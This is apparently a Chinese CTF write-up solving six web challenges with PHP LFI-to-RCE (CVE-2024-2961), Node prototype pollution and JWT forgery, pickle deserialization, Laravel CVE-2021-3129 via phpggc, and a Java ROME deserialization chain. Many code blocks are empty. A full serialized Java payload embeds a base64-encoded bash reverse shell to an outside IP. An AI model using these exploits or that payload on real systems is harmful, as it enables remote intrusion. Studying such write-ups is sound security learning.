web美美下班,强度很适合我
fileread
源码如下:
1 |
|
链子应该是:
1 | cls1::wakeup-> cls2::get -> cls::fileput |
exp:
1 |
|
直接读/flag
无权限,但是题目提供了/readflag
,因此我们要进行rce,联系到file_get_contents
的rce就必须是from LFI to RCE
,也就是我们的cve-2024-2961
不过原exp在这题的环境下进行交互比较困难,于是我弄到了一个手动版的exp:
1 | #<?php |
使用方法:
- 首先利用
file_get_contents()
读到/proc/self/maps
并保存到本地,注意maps的格式必须是一行行的,而不是一行写下去的那种。 - 然后运行一次exp,这个时候它会打印
[*]download: xxx
,这个xxx是我们需要的libc - 再利用
file_get_contents()
获取上一步中给出的libc
并保存 - 最后再运行一次,得到payload
- 对
maps
和libc
个人的处理方式就是利用base64
加密获取到结果后再解密保存
最后将payload赋值给filename
就能够写如一个shell,调用/readflag
即可:
notadmin
题目给出了附件,一眼顶针能够鉴定为原型链污染,并且在/login
的时候可以进行污染:
1 | const express = require('express'); |
可以看到当我们访问/
的时候可以在通过authenticateToken
之后进行eval(tmp_user.code)
,很明显这tmp_user.code
并不存在,需要我们进行原型链污染
题目还有一个check函数:
1 | var check = function (str) { |
我们首先要做的第一件事就是通过authenticateToken
,可以看到它的secretKey
是执行这个函数并且当key不存在的时候才会生成随机的。因此我们可以先行污染secretKey
使得其存在且可控。后续我们直接能够伪造出jwt
通过验证(他这个merge的形式和平时的不太一样,这里可以直接像下面那样写):
1 | { |
登录时发送过去后我们的secretKey
就被指定为了114514
,后续去jwt.io
能够伪造token通过验证:
带上 authorization
发根路由就能触发 eval 了
下面就是waf的问题,这里可能是因为merge
在check
的上面,导致我们可以污染check
绕过它的waf:
1 | const merge = (a, b) => { |
污染check:
1 | { |
最后污染code:
1 | { |
Python口算
学弟秒了,我直接抄他wp了:
开局脚本伺候:
1 | import requests |
拿到hint
1 |
|
根据代码修改:
在测试绕过
1 | import requests |
ez_python
有点脑洞+爆破的思路在里面
首先dirsearch
扫出/login
路由
接下来首先尝试admin
账户爆破失败,但是突发奇想试试test
用户,毕竟这用户省赛
的时候就吃过一次亏了。结果还真有,爆出用户test/123456
这是一个test用户,登录成功后可以发现有一个按钮,点一下会显示不是管理员
,上图可以看到在登录成功后会获得一个jwt的token。因此题目暗示我们需要去修改jwt
的token。经过上次长城杯的教训这次我们学精了,直接爆破key先,结果还真是,爆破出key为a123456。
去jwt.io美美修改key后重新点击按钮可以得到一串unicode
:
1 | >>> "\u542c\u8bf4ser\u6709\u70b9\u4e1c\u897f" |
得到新路由/ser
/ser路由如下
1 | import pickle\nimport base64\ndef hhhhackme(pickled):\n data = base64.urlsafe_b64decode(pickled)\n deserialized = pickle.loads(data)\n\n\n return '', 204 |
很明显是一个简单的pickle反序列化。随便找个payload都能打:
1 | POST /ser HTTP/1.1 |
vps监听,然后执行shell就过来了
ezlaravel
laravel框架v8.83.27
最开始的灵感来自N1CTF2023
的laravel
,题解在这。想着用它的exp一把梭,结果提示这个filter不存在/无法创建:
然后找到了另外一个洞:
https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html
这个直接跟着链接打就可以了:
1 | root@aurora-virtual-machine:/home/aurora/桌面/CVE-2021-3129# php -d "phar.readonly=0" ./phpggc/phpggc Laravel/RCE5 "system('cat /flag.txt');" --phar phar -o php://output | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" |
得到上面的结果后直接跟着打
清空laravel.log:
1 | POST /_ignition/execute-solution HTTP/1.1 |
添加前缀:
1 | POST /_ignition/execute-solution HTTP/1.1 |
写入phar:
1 | POST /_ignition/execute-solution HTTP/1.1 |
注意最后要加一个a
去除脏数据:
1 | POST /_ignition/execute-solution HTTP/1.1 |
触发phar
1 | POST /_ignition/execute-solution HTTP/1.1 |
注意最后的phar是绝对路径,要自己慢慢试出来的。具体怎么试的我就不把图放上来了。最后读取flag即可:
LookUP
求一个预期解的wp T_T
题目写了一个自定义的objectInputStream
,并且重写了resolveClass
添加黑名单:
1 | package com.backdoor.util; |
但是可以看到这个黑名单
并没有过滤SignedObject
和jackson
啊,很明显可以通过二次反序列化直接绕过过滤。
仔细看pom.xml
,题目还提供了rome 1.0
,因此思路就可以是SignedObject
配合Jackson
打二次反序列化触发rome
了,exp如下:
1 | package com.example.romedemo; |
payload:
1 | rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAPHQAG2NvbS5leGFtcGxlLnJvbWVkZW1vLnBjYmV4cHQAC3BjYmV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AG0wADHRoZWFsZ29yaXRobXEAfgAFeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAELaztAAVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAnQAAnl5c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGvyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQBdYmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek9DNHhNamN1TnpRdk1qTXpNeUF3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9CAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAApTb3VyY2VGaWxlAQAGYS5qYXZhACEAAgAEAAAAAAABAAEABQAGAAEABwAAABoAAgABAAAADiq3AAm4AA8SEbYAFVexAAAAAAABABYAAAACABdwdAADYWFhcHcBAHh0AAJ6WnEAfgAPeHQAATFzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAJxAH4AFXEAfgAHcQB+AANxAH4AD3hxAH4AFnh1cQB+AB0AAAAuMCwCFHljoG3/4cGiTq4dKhyep69MBtl8AhRfKelvqGBUtkddritkGkdNvdC08nQAA0RTQQ== |
直接将payload打过去即可